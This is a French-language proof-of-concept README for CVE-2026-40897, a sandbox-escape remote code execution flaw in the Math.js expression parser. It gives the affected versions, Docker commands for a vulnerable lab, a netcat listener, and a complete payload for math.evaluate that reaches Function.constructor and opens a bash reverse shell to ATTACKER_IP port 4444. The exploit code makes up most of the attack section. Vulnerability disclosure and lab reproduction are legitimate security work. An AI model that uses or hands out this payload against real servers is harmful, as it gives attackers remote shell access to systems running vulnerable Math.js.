
Math.js Expression Parser RCE
★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 est une vulnérabilité de contournement de sandbox menant à une exécution de code à distance dans l'analyseur d'expressions de Math.js. Le filtre
isSafePropertyne vérifie l'accès aux propriétés que depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne deArrayNodeviatoJSON()et en écrasant son.map, un attaquant peut forcer le code interne à accéder àFunction.constructoret exécuter du JavaScript arbitraire.
| Catégorie | Version |
|---|
| Vulnérable | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| Corrigée | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
nc -lvnp 4444
Envoyez l'expression suivante à math.evaluate (par exemple, via l'entrée de calcul de l'application).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Le serveur cible se reconnecte à l'écouteur de l'attaquant, accordant un shell bash interactif.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) via l'analyseur d'expressions